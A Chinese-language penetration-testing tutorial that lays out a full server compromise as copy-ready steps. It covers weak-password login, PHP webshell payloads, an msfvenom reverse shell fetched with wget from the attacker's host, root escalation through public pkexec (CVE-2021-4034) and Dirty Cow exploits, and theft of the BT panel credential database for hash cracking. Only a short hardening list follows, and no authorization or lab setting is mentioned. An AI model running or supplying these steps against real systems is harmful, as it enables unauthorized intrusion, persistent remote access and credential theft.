记一次艰难的提权
字数 1691 2025-08-29 08:32:01
Linux提权技术实战教学:从文件上传到Root权限获取
一、初始访问:弱口令与文件上传漏洞利用
1.1 弱口令登录
- 目标系统:Web应用后台
- 尝试常用弱口令组合:
admin/admin - 成功进入后台管理界面
1.2 文件上传漏洞利用
- 发现上传点:在后台寻找文件上传功能
- 绕过前端验证:
- 使用Burp Suite拦截上传请求
- 修改文件后缀或内容绕过前端过滤
- 上传Webshell:
- 使用经典PHP一句话木马:
<?php @eval($_POST['cmd']); ?> - 或使用更隐蔽的变形:
<?php $_GET['a']($_GET['b']); ?>
- 使用经典PHP一句话木马:
- 获取Webshell路径:注意保存服务器返回的上传文件路径
二、建立持久化连接
2.1 使用哥斯拉(Godzilla)连接
- 哥斯拉是一款先进的Webshell管理工具
- 配置连接参数:
- URL:上传的Webshell路径
- 密码:与Webshell中设置的密码一致
- 连接类型:根据Webshell类型选择(PHP/JSP/ASP等)
2.2 反弹Shell准备
- 生成Payload:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<攻击机IP> LPORT=<监听端口> -f elf -o reverse.elf - 上传Payload:
- 通过哥斯拉的文件管理功能上传reverse.elf
- 或使用wget从攻击机下载:
wget http://<攻击机IP>/reverse.elf -O /tmp/reverse.elf
- 设置执行权限:
chmod +x /tmp/reverse.elf
2.3 建立监听
在攻击机启动Metasploit监听:
msfconsole
use multi/handler
set payload linux/x64/shell_reverse_tcp
set LHOST <攻击机IP>
set LPORT <监听端口>
run
2.4 执行反弹Shell
在目标服务器执行:
/tmp/reverse.elf
三、自动化提权尝试
3.1 使用Metasploit的suggester模块
- 在获取的Meterpreter会话中:
run post/multi/recon/local_exploit_suggester - 分析建议的提权方法
- 尝试推荐的exploit模块
3.2 常见失败原因
- 目标系统已打补丁
- 环境配置不满足exploit要求
- 权限限制导致exploit无法正常执行
四、手动提权技术
4.1 信息收集
-
系统内核版本:
uname -a cat /proc/version示例输出:
Linux version 3.10.0... -
SUID提权检查:
find / -perm -u=s -type f 2>/dev/null查找具有SUID权限的可执行文件
4.2 CVE-2021-4034 (Polkit pkexec提权)
-
漏洞影响范围:
- Polkit的pkexec组件
- 影响大多数Linux发行版
-
漏洞验证:
pkexec --version检查pkexec是否存在及版本
-
利用步骤:
- 下载POC代码:
wget https://github.com/ck00004/CVE-2021-4034/archive/refs/heads/main.zip - 解压并编译:
unzip main.zip cd CVE-2021-4034-main make - 执行提权:
./cve-2021-4034
- 下载POC代码:
-
成功标志:
whoami应返回
root
4.3 Dirty Cow (CVE-2016-5195) 提权
-
漏洞影响:
- Linux内核版本2.6.22 < 3.9.x
-
利用步骤:
- 下载exploit代码:
wget https://www.exploit-db.com/download/40839 -O dirty.c - 编译并执行:
gcc -pthread dirty.c -o dirty -lcrypt ./dirty - 设置新root密码:
passwd dirty
- 下载exploit代码:
-
验证:
su dirty whoami应返回
root
五、敏感信息收集
5.1 获取宝塔面板凭证
-
定位数据库文件:
find / -name "default.db" 2>/dev/null常见路径:
/www/server/panel/data/default.db -
复制到Web目录:
cp /www/server/panel/data/default.db /var/www/html/或使用其他可访问路径
-
下载分析:
- 使用浏览器或wget下载数据库文件
- 使用SQLite浏览器或Navicat打开
- 查找users表获取密码hash
-
密码破解:
- 识别hash类型(通常为sha256加盐)
- 使用hashcat或john尝试破解
六、关键知识点总结
-
文件上传漏洞利用:
- 前端过滤绕过技术
- Webshell编写与变形
- 路径记录与访问
-
持久化连接建立:
- 哥斯拉工具使用
- 反弹Shell生成与监听
- 文件上传与执行
-
提权技术:
- Metasploit自动化提权
- SUID权限检查与利用
- CVE漏洞研究与应用
- CVE-2021-4034 (Polkit pkexec)
- Dirty Cow (CVE-2016-5195)
-
敏感信息收集:
- 数据库文件定位
- 文件复制与下载技巧
- 密码hash提取与分析
-
方法论:
- 自动化工具与手动技术的结合
- 信息收集的重要性
- CVE漏洞库的持续关注
- 社区资源的利用(遇到问题及时搜索和请教)
七、防御建议
-
系统加固:
- 及时更新系统和内核补丁
- 限制SUID权限二进制文件
- 使用最小权限原则
-
应用安全:
- 禁用弱口令
- 实现严格的文件上传验证
- 定期安全审计
-
监控措施:
- 监控异常进程创建
- 审计特权操作
- 实施文件完整性监控
通过本教学文档,您应该能够全面理解从初始访问到最终提权的完整流程,掌握关键的技术点和工具使用方法,并在实际环境中应用这些技术。